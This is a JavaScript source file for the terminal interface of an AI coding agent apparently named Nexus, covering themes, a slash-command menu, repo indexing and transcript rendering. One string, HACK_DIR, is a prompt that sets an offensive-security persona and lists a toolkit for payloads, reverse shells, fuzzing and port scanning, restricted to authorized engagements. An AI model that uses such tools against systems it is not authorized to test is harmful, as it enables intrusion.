    const fmtElapsed = (sec) => { if (sec < 60) return sec + "s"; if (sec < 3600) return Math.floor(sec / 60) + "m " + (sec % 60) + "s"; if (sec < 86400) return Math.floor(sec / 3600) + "h " + Math.floor((sec % 3600) / 60) + "m"; return Math.floor(sec / 86400) + "d " + Math.floor((sec % 86400) / 3600) + "h"; };
    const base = (pth) => String(pth || "").split("/").pop() || String(pth || "");
    // ---- NEXUS logo (gradient) + slash-command menu ----
    // Each theme = a 6-stop logo/boot gradient + an accent hue that recolors the
    // whole UI (prompt, borders, highlights) by rebinding A.cyan, the de-facto accent.
    const THEMES = {
      aurora: { grad: ["38;5;51", "38;5;45", "38;5;81", "38;5;75", "38;5;135", "38;5;171"], accent: "38;5;51" },
      matrix: { grad: ["38;5;46", "38;5;40", "38;5;34", "38;5;28", "38;5;40", "38;5;46"], accent: "38;5;46" },
      sunset: { grad: ["38;5;226", "38;5;220", "38;5;214", "38;5;208", "38;5;202", "38;5;196"], accent: "38;5;208" },
      ocean: { grad: ["38;5;45", "38;5;39", "38;5;38", "38;5;44", "38;5;33", "38;5;27"], accent: "38;5;39" },
      violet: { grad: ["38;5;141", "38;5;135", "38;5;99", "38;5;105", "38;5;171", "38;5;177"], accent: "38;5;135" },
      mono: { grad: ["38;5;252", "38;5;248", "38;5;245", "38;5;242", "38;5;240", "38;5;238"], accent: "38;5;250" },
      ember: { grad: ["38;5;196", "38;5;202", "38;5;208", "38;5;166", "38;5;124", "38;5;160"], accent: "38;5;202" },
      rose: { grad: ["38;5;218", "38;5;213", "38;5;212", "38;5;206", "38;5;170", "38;5;177"], accent: "38;5;213" },
      gold: { grad: ["38;5;229", "38;5;227", "38;5;220", "38;5;214", "38;5;178", "38;5;136"], accent: "38;5;220" },
      ice: { grad: ["38;5;195", "38;5;159", "38;5;153", "38;5;117", "38;5;111", "38;5;153"], accent: "38;5;159" },
      forest: { grad: ["38;5;41", "38;5;35", "38;5;29", "38;5;22", "38;5;28", "38;5;34"], accent: "38;5;35" },
      neon: { grad: ["38;5;201", "38;5;165", "38;5;51", "38;5;45", "38;5;207", "38;5;99"], accent: "38;5;201" },
    };
    let GRAD = THEMES.aurora.grad;
    const applyTheme = (name) => { const t = THEMES[name]; if (!t) return false; GRAD = t.grad; A.cyan = "\x1b[" + t.accent + "m"; return true; };
    try { const st = readGlobal("state.json", {}); if (st && st.theme && THEMES[st.theme]) applyTheme(st.theme); } catch (_) {} // restore last-used theme
    // Named accent colors for /color, plus standalone accent/gradient overrides
    // (independent of a full /theme). colorCode() also accepts a 0-255 code or
    // #rrggbb (truecolor). Both overrides persist to state.json and are restored
    // AFTER the theme below, so they win over the theme's own accent/gradient.
    const COLORS = { red: "38;5;196", orange: "38;5;208", amber: "38;5;214", yellow: "38;5;226", gold: "38;5;220", lime: "38;5;118", green: "38;5;46", teal: "38;5;44", cyan: "38;5;51", sky: "38;5;117", blue: "38;5;39", indigo: "38;5;63", violet: "38;5;135", purple: "38;5;129", magenta: "38;5;201", pink: "38;5;213", rose: "38;5;211", white: "38;5;252", gray: "38;5;245" };
    const colorCode = (v) => { if (!v) return null; if (COLORS[v]) return COLORS[v]; if (/^\d{1,3}$/.test(v) && +v <= 255) return "38;5;" + v; const h = v.replace(/^#/, ""); if (/^[0-9a-fA-F]{6}$/.test(h)) return "38;2;" + parseInt(h.slice(0, 2), 16) + ";" + parseInt(h.slice(2, 4), 16) + ";" + parseInt(h.slice(4, 6), 16); return null; };
    const setAccent = (code) => { A.cyan = "\x1b[" + code + "m"; };
    try { const st = readGlobal("state.json", {}) || {}; if (st.accent) setAccent(st.accent); if (Array.isArray(st.gradient) && st.gradient.length) GRAD = st.gradient; } catch (_) {}
    const gline = (s, i) => useColor ? "\x1b[1;" + GRAD[i % GRAD.length] + "m" + s + "\x1b[0m" : s;
    const ART = [
      "  ███╗   ██╗███████╗██╗  ██╗██╗   ██╗███████╗",
      "  ████╗  ██║██╔════╝╚██╗██╔╝██║   ██║██╔════╝",
      "  ██╔██╗ ██║█████╗   ╚███╔╝ ██║   ██║███████╗",
      "  ██║╚██╗██║██╔══╝   ██╔██╗ ██║   ██║╚════██║",
      "  ██║ ╚████║███████╗██╔╝ ██╗╚██████╔╝███████║",
      "  ╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝",
    ];
    const CMDS = [
      ["/help", "commands, input prefixes & keys"], ["/clear", "start a fresh chat"], ["/compact", "summarize & shrink the context"],
      ["/trust", "trust this workspace's .nexus MCP servers + hooks"],
      ["/connect", "connect an AI: local model · Claude (API) · any provider"],
      ["/context", "show token / context usage"], ["/cost", "session token cost so far"], ["/budget", "set a spend cap in USD"],
      ["/report", "cost & usage report for chargeback (/report json|save|since <date>)"],
      ["/compliance", "write a signed audit+usage compliance bundle (SOC2/review)"],
      ["/undo", "revert the last turn's file changes"], ["/rewind", "restore a specific checkpoint (/rewind N)"], ["/checkpoints", "list undo checkpoints"],
      ["/resume", "reload the last saved session"], ["/branch", "fork & switch conversation branches (/branch new <name>)"], ["/export", "save the conversation to a markdown file"], ["/copy", "copy the last reply to the clipboard"],
      ["/status", "session engine, model, tokens & cost"], ["/doctor", "check engines & tools are available"], ["/init", "scaffold .nexus/ in this project"],
      ["/model", "pick the model — lists the engine catalog; /model <name|number>"], ["/engine", "switch AI: claude · gemini · codex · opencode · aider · ollama"], ["/commands", "list custom project commands"],
      ["/agents", "run tasks in parallel: /agents a ;; b ;; c"], ["/mcp", "list / connect MCP servers"], ["/hooks", "show configured tool hooks"],
      ["/race", "run a prompt on every engine at once"], ["/review", "second opinion from a different engine"], ["/redo", "reapply an undone change"],
      ["/ultrareview", "rigorous multi-lens review of the working diff (severity-ranked)"], ["/changelog", "release notes from git history, grouped by type"],
      ["/secrets", "scan the repo for leaked credentials"], ["/scan", "quick TCP port scan of a host"], ["/notify", "bell + desktop alert on long turns"],
      ["/watch", "run a cmd; auto-fix & re-run until it passes"], ["/commit", "AI commit message + commit the diff"], ["/diff", "colored word-level diff · /diff <file> · /diff --staged"],
      ["/pin", "keep a file in context every turn"], ["/pins", "list pinned files"], ["/unpin", "remove a pinned file"], ["/redact", "mask secrets before cloud sends"],
      ["/ensemble", "all engines answer, then synthesize the best"], ["/settings", "all options, neatly arranged (alias /options /config)"], ["/jobs", "background commands the agent started (run_background)"], ["/loop", "autonomous goal loop: /loop [-n rounds] <goal> until GOAL-DONE"], ["/team", "multi-model workspace: architect + builder + reviewer, loops to PASS"], ["/policy", "show the enterprise security policy (org + local)"], ["/audit", "audited tool actions · /audit verify (tamper check)"], ["/bench", "speed / tokens / cost table per engine"], ["/explain", "explain the diff or a file in plain English"], ["/test", "generate & run unit tests for a file"], ["/refactor", "restructure code for clarity without changing behavior"], ["/migrate", "migrate code: /migrate <from> to <to>"], ["/pr", "AI-write a PR title+body from the diff and open it (gh)"],
      ["/index", "index the repo for local auto-context"], ["/map", "show the repo map (file+symbol outline); /map on|off"], ["/verify", "detect + run this project's tests/build"], ["/radar", "codebase complexity + hotspot map"], ["/audit", "fast rule-based review of changed code"], ["/diffexplain", "explain the current git diff"], ["/testgen", "scaffold tests for a function/file"], ["/snippet", "save / use a prompt macro"], ["/snippets", "list saved prompt macros"],
      ["/plan", "make & run an editable task checklist"], ["/git", "branch, status & recent commits"], ["/blame", "who last changed a file's lines"],
      ["/cowork", "strong model codes, weak model does cheap work"], ["/cheap", "max-savings preset (lean + low effort)"], ["/lean", "ask for minimal output (saves output tokens)"], ["/style", "output style: concise·explanatory·review·tdd·secure·teacher"], ["/effort", "claude thinking level: low|medium|high"], ["/estimate", "rough token/cost of a prompt before sending"], ["/fallback", "auto-switch model on rate-limit"],
      ["/guard", "preflight destructive commands (enforce|warn|off)"], ["/permissions", "allow/deny tool rules — /allow /deny <rule>"], ["/impact", "session savings (tokens & cost avoided)"], ["/savings", "cross-session cost-savings analysis + 30d projection"], ["/cache", "serve exact-repeat read-only answers free (on/off/clear)"], ["/models", "list cloud & local models"], ["/api", "drive ANY model via an OpenAI-compatible API (OpenRouter, Groq, …)"], ["/recent", "recently changed files"], ["/keys", "keyboard shortcuts"], ["/docs", "built-in documentation (/docs <topic>)"], ["/gaps", "list TODO/FIXME markers · /gaps plan"], ["/dream", "consolidate the session into NEXUS.md memory"],
      ["/tree", "show the project file tree"], ["/theme", "change the color theme"],
      ["/color", "set the accent color · /color <name|0-255|#hex> · /color reset"], ["/colors", "list accent colors"], ["/gradient", "set the logo gradient · /gradient <theme|reset>"], ["/mouse", "toggle mouse capture · /mouse off to select & copy text"],
      ["/hack", "offensive-security mode — pentest/CTF persona + the Darknode toolkit"],
      ["/pentest", "HYDRA — interactive AI-assisted penetration testing · /pentest <target>"],
      ["/ai-prompt", "AI rewrites & sharpens your prompt, then loads it to edit/send"],
      ["/offline", "local-only privacy lock"],
      ["/todo", "scan the project for TODO/FIXME/HACK markers (/todo <TAG> filters)"],
      ["/stats", "codebase overview: files, lines & languages, largest files"],
      ["/deps", "dependency hygiene: unused + undeclared package imports"],
      ["/env", "env-var audit: used-but-undocumented vs .env.example"],
      ["/login", "sign in with Google or GitHub (Firebase)"], ["/logout", "sign out of Nexus"], ["/whoami", "show the signed-in account"], ["/setup", "install Ollama + pull a local model"],
      ["/restart", "save session, restart Nexus with latest code, resume where you left off"],
      ["/update", "check for & install a newer Nexus (/update apply to install now)"],
      ["/autoupdate", "auto-update on launch: /autoupdate on | check | off"],
      ["/next", "queue a prompt to auto-run after the current turn finishes"],
      ["/feature", "add/remove your own commands: /feature create <name> <what it does> · /feature remove <name>"],
      ["/dashboard", "open the localhost web UI — live pipelines, jobs & cowork agents"],
      ["/marketplace", "browse, install & publish agents, skills, hooks & pipelines"],
      ["/cron", "scheduled pipeline runs — /cron add \"0 9 * * *\" <goal> · /cron list · /cron remove <id>"],
      ["/expand", "toggle tool-call detail"], ["/exit", "quit Nexus"],
    ];
    // Custom project slash commands (Claude-Code / Glitch style): each .md file in
    // .nexus/commands/ or .claude/commands/ becomes /<name>; its body is the prompt,
    // with $ARGUMENTS / $1 $2… substituted from what you type after the command.
    const customCmds = {};
    for (const dir of [path.join(cwd, ".nexus", "commands"), path.join(cwd, ".claude", "commands")]) {
      try { for (const f of fs.readdirSync(dir)) { if (!/\.md$/.test(f)) continue; const nm = "/" + f.replace(/\.md$/, ""); if (customCmds[nm]) continue; const body = fs.readFileSync(path.join(dir, f), "utf8"); const desc = ((body.split("\n").find((l) => l.trim()) || "custom command").replace(/^#+\s*/, "") + " (custom)").slice(0, 52); customCmds[nm] = { body, desc }; } } catch (_) {}
    }
    const allCmds = () => CMDS.concat(Object.keys(customCmds).map((k) => [k, customCmds[k].desc]));
    // Re-scan .nexus/commands + .claude/commands into customCmds (used after /feature
    // create|remove so a new feature is usable immediately, without a restart).
    const reloadCustomCmds = () => {
      for (const k of Object.keys(customCmds)) delete customCmds[k];
      for (const dir of [path.join(cwd, ".nexus", "commands"), path.join(cwd, ".claude", "commands")]) {
        try { for (const f of fs.readdirSync(dir)) { if (!/\.md$/.test(f)) continue; const nm = "/" + f.replace(/\.md$/, ""); if (customCmds[nm]) continue; const body = fs.readFileSync(path.join(dir, f), "utf8"); const desc = ((body.split("\n").find((l) => l.trim()) || "custom command").replace(/^#+\s*/, "") + " (custom)").slice(0, 52); customCmds[nm] = { body, desc }; } } catch (_) {}
      }
      try { cmdSet.clear(); for (const c of allCmds()) cmdSet.add(c[0]); } catch (_) {}
    };
    // ---- MCP servers + hooks (loaded from .nexus/) ----
    const hooks = loadHooks(cwd);
    const policy = loadPolicy(cwd); // enterprise guardrails (.nexus/policy.json)
    const styleMap = allStyles(path.join(cwd, ".nexus", "styles")); // built-in + custom output styles
    const styleDir = (n) => styleMap[n] || "";
    const HACK_DIR = "HACK MODE: act as a senior offensive-security engineer on an AUTHORIZED engagement (pentest / red-team / CTF / the operator's own lab). Work the kill-chain — recon, enumeration, vuln analysis, exploitation, post-exploitation, and defensive remediation — and reach for the built-in Darknode toolkit via run_command (on PATH as `darknode`): scan <host> [ports], dns, whois, headers, cert, subs, cve <product>, fuzz <url>, payloads <sqli|xss|lfi|cmdi|ssti|ssrf>, revshell <lang> <ip> <port>, dorks <domain>, encode/decode, hash, entropy, totp, jwt <token>, ports, ipinfo, myip — chaining them with your own commands. Explain each step and the finding it yields, and note the defensive fix. Operate ONLY on systems the operator owns or is explicitly authorized to test; if a target is out of scope or clearly not theirs, refuse and say why.";
    const bgJobs = createBgJobs(); // long-running background commands (run_background/check_background)
    const policyPrompt = () => { const pp = []; if (policy.protectedPaths && policy.protectedPaths.length) pp.push("Never create, edit, move or delete these protected paths: " + policy.protectedPaths.join(", ") + "."); if (policy.deniedCommands && policy.deniedCommands.length) pp.push("Never run commands matching: " + policy.deniedCommands.join(", ") + "."); if (policy.maxFilesPerTurn) pp.push("Change at most " + policy.maxFilesPerTurn + " file(s) per turn."); if (!policy.allowNetwork) pp.push("Do not make network requests."); return pp.length ? "\n\nSECURITY POLICY (enforced — follow exactly):\n- " + pp.join("\n- ") : ""; };
    let mcpServers = []; // connected { name, call, tools } (or { name, error })
    const mcpToolList = () => mcpServers.filter((s) => !s.error).flatMap((s) => (s.tools || []).map((t) => ({ full: "mcp__" + s.name + "__" + t.name, srv: s, name: t.name, desc: t.description || "" })));
    // saved prompt macros (.nexus/snippets.json) + a lightweight local codebase index (.nexus/index.json)
    let snippets = {}; try { snippets = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "snippets.json"), "utf8")) || {}; } catch (_) {}
    const saveSnippets = () => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "snippets.json"), JSON.stringify(snippets, null, 2)); } catch (_) {} };
    let plan = []; try { const pj = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "plan.json"), "utf8")); if (Array.isArray(pj)) plan = pj; } catch (_) {}
    const savePlan = () => { try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "plan.json"), JSON.stringify(plan, null, 2)); } catch (_) {} };
    let index = null; try { const raw = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "index.json"), "utf8")); if (raw && raw.files) index = raw; } catch (_) {}
    const buildIndex = () => {
      const files = {}; const SKIP = /(^|\/)(\.git|node_modules|\.nexus|dist|build|\.cache|\.next|target|__pycache__)(\/|$)/;
      const CODE = /\.(js|jsx|ts|tsx|py|rb|go|rs|java|c|h|cpp|cc|cs|php|swift|kt|sh|css|scss|html|json|md|yml|yaml|toml)$/i;
      const walk = (d) => { let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch (_) { return; } for (const e of ents) { const fp = path.join(d, e.name); if (SKIP.test(fp)) continue; if (e.isDirectory()) walk(fp); else if (CODE.test(e.name)) { try { if (fs.statSync(fp).size > 400000) continue; const txt = fs.readFileSync(fp, "utf8"); const kw = {}; for (const w of txt.toLowerCase().match(/[a-z_][a-z0-9_]{2,}/g) || []) kw[w] = (kw[w] || 0) + 1; files[path.relative(cwd, fp)] = Object.keys(kw); } catch (_) {} } if (Object.keys(files).length > 4000) return; } };
      walk(cwd); index = { files, ts: Date.now() }; try { fs.mkdirSync(path.join(cwd, ".nexus"), { recursive: true }); fs.writeFileSync(path.join(cwd, ".nexus", "index.json"), JSON.stringify(index)); } catch (_) {} return Object.keys(files).length;
    };
    // score indexed files by keyword overlap with the prompt; return the top matches (excluding pinned/@-mentioned)
    const retrieve = (text, k) => { if (!index || !index.files) return []; const q = new Set((text.toLowerCase().match(/[a-z_][a-z0-9_]{2,}/g) || []).filter((w) => w.length > 3)); if (!q.size) return []; const scored = []; for (const f of Object.keys(index.files)) { if (pinned.has(f) || text.includes("@" + f)) continue; let s = 0; for (const w of index.files[f]) if (q.has(w)) s++; if (s > 1) scored.push([f, s]); } scored.sort((a, b) => b[1] - a[1]); return scored.slice(0, k || 3).map((x) => x[0]); };
    // ---- repository map: ranked file tree + per-file symbol outline, injected once to orient
    // ANY engine (not just the local one). Built lazily, cached for the session, and invalidated
    // whenever the agent changes the tree. Bounded so a huge repo can't blow the token budget.
    let repoMapCache = null, repoMapBuilt = false, repoMapSent = false, repoMapOn = true;
    const buildRepoMapText = (opts) => {
      const SKIP = /(^|\/)(\.git|node_modules|\.nexus|dist|build|out|target|\.cache|\.next|\.nuxt|coverage|__pycache__|\.venv|venv|vendor)(\/|$)/;
      const files = []; let total = 0;
      const walk = (d) => { let ents; try { ents = fs.readdirSync(d, { withFileTypes: true }); } catch (_) { return; } for (const e of ents) { const fp = path.join(d, e.name); if (SKIP.test(fp + (e.isDirectory() ? "/" : ""))) continue; if (e.isDirectory()) { if (files.length < 1200) walk(fp); } else { let st; try { st = fs.statSync(fp); } catch (_) { continue; } if (st.size > 262144) { files.push({ path: path.relative(cwd, fp), size: st.size }); continue; } if (total > 6 * 1024 * 1024) { files.push({ path: path.relative(cwd, fp), size: st.size }); continue; } try { const txt = fs.readFileSync(fp, "utf8"); total += txt.length; files.push({ path: path.relative(cwd, fp), content: txt, size: st.size }); } catch (_) {} } if (files.length >= 1200) return; } };
      walk(cwd);
      const map = buildRepoMap(files);
      return { map, text: renderRepoMap(map, { maxFiles: (opts && opts.maxFiles) || 45, maxSymbols: (opts && opts.maxSymbols) || 12 }) };
    };
    const getRepoMap = (opts) => { if (!repoMapBuilt || (opts && opts.fresh)) { try { repoMapCache = buildRepoMapText(opts); } catch (_) { repoMapCache = null; } repoMapBuilt = true; } return repoMapCache; };
    const invalidateRepoMap = () => { repoMapBuilt = false; repoMapCache = null; };
    // ---- verify: detect this project's own test/build/lint commands from its root files.
    const detectVerify = () => { let entries = []; try { entries = fs.readdirSync(cwd); } catch (_) {} const files = {}; for (const n of ["package.json", "Makefile", "makefile", "GNUmakefile"]) if (entries.includes(n)) { try { files[n] = fs.readFileSync(path.join(cwd, n), "utf8"); } catch (_) {} } return detectProjectCommands(entries, files); };
    // ---- inline markdown / command coloring ----
    const paintCode = (c) => (/(^|\s)(node|npm|npx|git|python3?|pip3?|bash|sh|cd|ls|cat|make|cargo|go|docker|curl|grep|sed|rm|mkdir|chmod|sudo)\b/.test(c) || /\s--?\w/.test(c)) ? blue(c) : mag(c);
    const colorMd = (line, inCode) => { if (inCode) return blue(line); const hm = line.match(/^(#{1,6})\s+(.*)/); if (hm) { const lvl = hm[1].length; const txt = hm[2].replace(/\*\*([^*]+)\*\*/g, "$1").replace(/`([^`]+)`/g, (_, c) => paintCode(c)); return (lvl <= 2 ? bold(cyan("▍ ")) : "  ") + bold(cyan(txt)); } let s = line.replace(/\*\*([^*]+)\*\*/g, (_, c) => "\x1b[1m" + c.replace(/`([^`]+)`/g, (__, ic) => "\x1b[0m" + paintCode(ic) + "\x1b[1m") + "\x1b[0m").replace(/`([^`]+)`/g, (_, c) => paintCode(c)); s = s.replace(/^(\s*)\d+\.\s/, (_, sp) => sp + cyan("• ")); return s.replace(/^(\s*[-*]\s)/, (_, b) => cyan(b.replace(/[-*]/, "•"))); };
    const wrap = (text) => { const width = Math.max(1, cols() - 4); const res = []; let inCode = false; for (const para of String(text).replace(/\r/g, "").split("\n")) { if (/^```/.test(para.trim())) inCode = !inCode; let s = para; if (!s.length) { res.push(""); continue; } while (s.length > width) { let w = width; const cc = s.charCodeAt(w - 1); if (cc >= 0xD800 && cc <= 0xDBFF) w = Math.max(1, w - 1); if (!inCode) { let brk = s.lastIndexOf(" ", w); if (brk < width * 0.4) brk = -1; if (brk > 0) { res.push(s.slice(0, brk)); s = s.slice(brk + 1); continue; } } res.push(s.slice(0, w)); s = s.slice(w); } res.push(s); } return res; };
    // ---- tool-card labels (Claude-Code style) ----
    const toolLabel = (name, a) => {
      a = a || {};
      if (name === "Write") return "Write(" + base(a.file_path) + ")";
      if (name === "Edit" || name === "MultiEdit") return "Update(" + base(a.file_path) + ")";
      if (name === "NotebookEdit") return "Notebook(" + base(a.notebook_path) + ")";
      if (name === "Read") return "Read(" + base(a.file_path) + ")";
      if (name === "Bash") return "Bash(" + oneline(a.command, 40) + ")" + (a.run_in_background ? gray(" &") : "");
      if (name === "Grep") return "Grep(" + oneline(a.pattern, 30) + ")";
      if (name === "Glob") return "Glob(" + oneline(a.pattern, 30) + ")";
      if (name === "Task") return "Task(" + oneline(a.subagent_type || a.description || "agent", 30) + ")";
      if (name === "WebFetch") return "Fetch(" + oneline(a.url, 36) + ")";
      if (name === "WebSearch") return "Search(" + oneline(a.query, 34) + ")";
      if (name === "TodoWrite" || name === "TaskCreate" || name === "TaskUpdate") return "Plan(update)";
      if (String(name).startsWith("mcp__")) return String(name).replace(/^mcp__/, "").replace(/__/, ":") + "()";
      const v = Object.values(a)[0]; return name + "(" + (v != null ? oneline(String(v), 34) : "") + ")";
    };
    const resultText = (c) => { if (c == null) return ""; if (typeof c === "string") return c; if (Array.isArray(c)) return c.map((x) => (x && x.text) || (typeof x === "string" ? x : "")).join(" "); return String(c); };
    // ---- transcript block accessors ----
    const cur = () => transcript[transcript.length - 1];
    const ensureText = () => { const b = cur(); if (!b.items) b.items = []; let last = b.items[b.items.length - 1]; if (!last || last.type !== "text") { last = { type: "text", full: "", shown: 0 }; b.items.push(last); } return last; };
    // ---- render body ----
    const spin = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
    const bodyLines = () => {
      const L = [];
      for (const m of transcript) {
        if (m.role === "art") { const w = stripA(ART[0]).length; const wm = useColor ? "N E X U S".split("").map((ch, k) => "\x1b[1;" + GRAD[k % GRAD.length] + "m" + ch).join("") + "\x1b[0m" : "N E X U S"; L.push(""); L.push(gline("  " + "▁".repeat(Math.max(0, w - 2)), 0)); ART.forEach((ln, i) => L.push(gline(ln, i))); L.push(gline("  " + "▔".repeat(Math.max(0, w - 2)), 4)); L.push("  " + wm + gray("   the multi-engine AI coding agent   ") + mag("v" + VERSION)); L.push(""); continue; }
        if (m.role === "diff") {
          const W = cols() - 3;
          const raw = String(m.text).replace(/\r/g, "").split("\n");
          let k = 0;
          while (k < raw.length) {
            const ln = raw[k];
            if (/^diff --git /.test(ln)) { const f = ln.replace(/^diff --git a\/(\S+).*$/, "$1"); L.push(""); L.push(bold(cyan("╭─ " + clip(f, W - 3)))); k++; continue; }
            if (/^(index |new file|deleted file|similarity|rename |old mode|new mode|Binary )/.test(ln)) { L.push(dim(gray(clip(ln, W)))); k++; continue; }
            if (/^\+\+\+ |^--- /.test(ln)) { k++; continue; }          // file markers folded into the header above
            if (/^@@/.test(ln)) { L.push(bold(cyan(clip(ln, W)))); k++; continue; }
            if (/^-/.test(ln)) {
              const dels = []; while (k < raw.length && /^-/.test(raw[k]) && !/^--- /.test(raw[k])) dels.push(raw[k++]);
              const adds = []; while (k < raw.length && /^\+/.test(raw[k]) && !/^\+\+\+ /.test(raw[k])) adds.push(raw[k++]);
              if (dels.length && adds.length && dels.length === adds.length) {
                for (let p = 0; p < dels.length; p++) { const [ms, ps] = wordHi(dels[p].slice(1), adds[p].slice(1)); L.push(clip(red("-") + ms, W)); L.push(clip(green("+") + ps, W)); } // paired edit: highlight the changed words
              } else { for (const d of dels) L.push(red(clip(d, W))); for (const a of adds) L.push(green(clip(a, W))); }
              continue;
            }
            if (/^\+/.test(ln)) { L.push(green(clip(ln, W))); k++; continue; }
            L.push(dim(gray(clip(ln, W)))); k++;                        // context: dimmed so +/- pop
          }
          L.push(""); continue;
        }
        if (m.role === "plan") { const done = plan.filter((t) => t.done).length; L.push(bold(cyan("plan")) + gray("  " + done + "/" + plan.length + " done  ·  /plan run to execute")); if (!plan.length) L.push("  " + gray("(empty)")); for (let i = 0; i < plan.length; i++) { const t = plan[i]; const box = t.running ? yellow("[~]") : t.done ? green("[x]") : gray("[ ]"); for (const ln of wrap((i + 1) + ". " + t.text)) L.push("  " + box + " " + colorMd(ln, false)); } L.push(""); continue; }
        if (m.role === "system") { for (const ln of wrap(m.text)) L.push(gray(ln)); L.push(""); continue; }
        if (m.role === "user") { const w = wrap(m.text); L.push(mag("› ") + (w[0] || "")); for (let i = 1; i < w.length; i++) L.push("  " + w[i]); L.push(""); continue; }
        // nexus turn: ordered items (text + tool cards)
        L.push(cyan("● ") + (useColor ? "nexus".split("").map((ch, k) => "\x1b[1;" + GRAD[k % GRAD.length] + "m" + ch).join("") + "\x1b[0m" : "nexus") + gray("  " + engine + (cowork.on ? " +" + cowork.weak.replace(/^claude-|-\d.*$/g, "") : "")));
        { let prevType = "";
        for (let ii = 0; ii < (m.items || []).length; ii++) { const it = m.items[ii];
          if (it.type === "text") {
            if (prevType === "tool") L.push("");
            const vis = it.full.slice(0, it.shown);
            let inCode = false;
            for (const ln of wrap(vis)) { if (/^```/.test(ln.trim())) { inCode = !inCode; L.push("  " + gray(ln)); continue; } L.push("  " + colorMd(ln, inCode)); }
            prevType = "text";
          } else if (it.type === "thinking") {
            L.push("  " + dim(gray("● thinking" + (expanded ? ":" : " (ctrl+o to show)"))));
            if (expanded) for (const ln of wrap(it.full).slice(0, 24)) L.push("    " + dim(gray(ln)));
            prevType = "thinking";
          } else if (it.type === "tool") {
            if (prevType === "text") L.push("");
            const dot = it.status === "run" ? yellow(spin[Math.floor(Date.now() / 90) % spin.length]) : it.status === "err" ? red("●") : green("●");
            const rawSec = it.end ? (it.end - it.start) / 1000 : (Date.now() - it.start) / 1000;
            const secs = rawSec < 0.1 ? "<0.1s" : rawSec < 60 ? rawSec.toFixed(1) + "s" : fmtElapsed(Math.round(rawSec));
            const isLast = !m.items.slice(ii + 1).some((x) => x.type === "tool");
            const bar = isLast ? "╰" : "├";
            L.push("  " + dot + " " + dim(gray(bar)) + " " + bold(it.label) + gray("  " + secs));
            if (expanded && it.detail) for (const ln of wrap(stripA(it.detail)).slice(0, 6)) L.push("    " + dim(gray((isLast ? " " : "│") + " ⎿ " + ln)));
            prevType = "tool";
          }
        } }
        // live status line while this turn is running
        if (busy && m === cur()) {
          const el = Math.round((Date.now() - busyStart) / 1000);
          const tok = sess.liveOut ? " · " + fmtK(sess.liveOut) + " tokens" : "";
          L.push("  " + mag(spin[Math.floor(Date.now() / 90) % spin.length] + " " + busyWord + "…") + gray("  (" + fmtElapsed(el) + tok + " · ctrl+c to stop)"));
          const et = ENGINE_TIPS[engine] || [], tips = [];
          for (let k = 0; k < Math.max(NEXUS_TIPS.length, et.length); k++) { if (et[k]) tips.push(et[k]); if (NEXUS_TIPS[k]) tips.push(NEXUS_TIPS[k]); } // interleave so an engine-specific tip shows first
          if (tips.length) L.push("  " + dim(gray("tip: " + tips[Math.floor(el / 4) % tips.length])));
        } else if (m.summary) {
          L.push("  " + dim(gray(m.summary)));
        }
        L.push("");
      }
      return L;
    };
    // ---- status + hint bars ----
    const statusBar = () => {
      const ctxW = sess.ctxWindow || 200000;
      const pct = Math.min(100, Math.round((sess.ctxUsed / ctxW) * 100));
      const cells = 8, fill = Math.max(0, Math.min(cells, Math.round((pct / 100) * cells)));
      const pc = pct >= 80 ? red : pct >= 50 ? yellow : cyan;
      const bar = pc("▓".repeat(fill)) + gray("░".repeat(cells - fill));
      const parts = [bold(sess.model || engine)];
      if (gitBranch) parts.push(blue("⌥ " + gitBranch));
      parts.push(gray("ctx ") + pc(pct + "%") + " " + bar, gray("↑") + fmtK(sess.inTok) + gray(" ↓") + fmtK(sess.outTok) + gray(" tok"));
      if (PAID[engine]) { const isSubscription = engine === "codex" && CODEX_LOCAL.authMode ? onPlan(engine) : (onPlan(engine) || (!process.env.ANTHROPIC_API_KEY && !process.env.OPENAI_API_KEY)); if (isSubscription) { parts.push(green("included in plan")); } else { const c = costCap && sess.cost >= costCap ? red : green; const est = !ENGINES[engine] || ENGINES[engine].kind !== "stream"; parts.push(sess.cost ? c((est ? "~$" : "$") + sess.cost.toFixed(4)) + (costCap ? gray("/" + costCap.toFixed(2)) : "") : gray("subscription")); } }
      else parts.push(apiConfigured() ? cyan("api") : green("local · free"));
      if (runningShells) parts.push(yellow(runningShells + " shell" + (runningShells > 1 ? "s" : "")));
      if (bgJobs.running()) parts.push(cyan(bgJobs.running() + " bg"));
      if (activeAgents) parts.push(mag(activeAgents + " agent" + (activeAgents > 1 ? "s" : "")));
      if (rate && rate.status && rate.status !== "allowed") parts.push(red("rate-limited"));
      else if (rate && rate.isUsingOverage) parts.push(yellow("overage"));
      if (pinned.size) parts.push(cyan(pinned.size + " pinned"));
      if (redact) parts.push(yellow("redact"));
      if (offline) parts.push(green("offline"));
      if (guard !== "enforce") parts.push((guard === "off" ? red : yellow)("guard:" + guard));
      if (cowork.on) parts.push(mag("cowork " + cowork.strong.replace(/^claude-|-\d.*$/g, "") + "→" + cowork.weak.replace(/^claude-|-\d.*$/g, "")));
      if (lean) parts.push(green("lean"));
      if (effort) parts.push(gray("effort:" + effort));
      if (style && style !== "default") parts.push(cyan("style:" + style));
      if (hack) parts.push(red("HACK"));
      if (fallback) parts.push(gray("fb:" + fallback.replace(/^claude-|-\d.*$/g, "")));
      parts.push(MODES[mode].c(MODES[mode].k));
      return "  " + clip(parts.join(gray("  ·  ")), cols() - 3);
    };
    const hint = () => {
      const C = cols();
      if (compact.on) { const n = 22, f = Math.min(n, compact.f); return clip("  " + yellow("Compacting conversation… ") + gray("[") + cyan("▓".repeat(f)) + gray("░".repeat(n - f)) + gray("] ") + Math.round((f / n) * 100) + "%", C - 2); }
      if (slashMatches().length || argMatches().length) return clip("  " + blue("↑↓") + gray("/PgUp·Dn/wheel select  ") + blue("Tab") + gray(" complete  ") + blue("↵") + gray(" run  ") + blue("Esc") + gray(" dismiss"), C - 2);
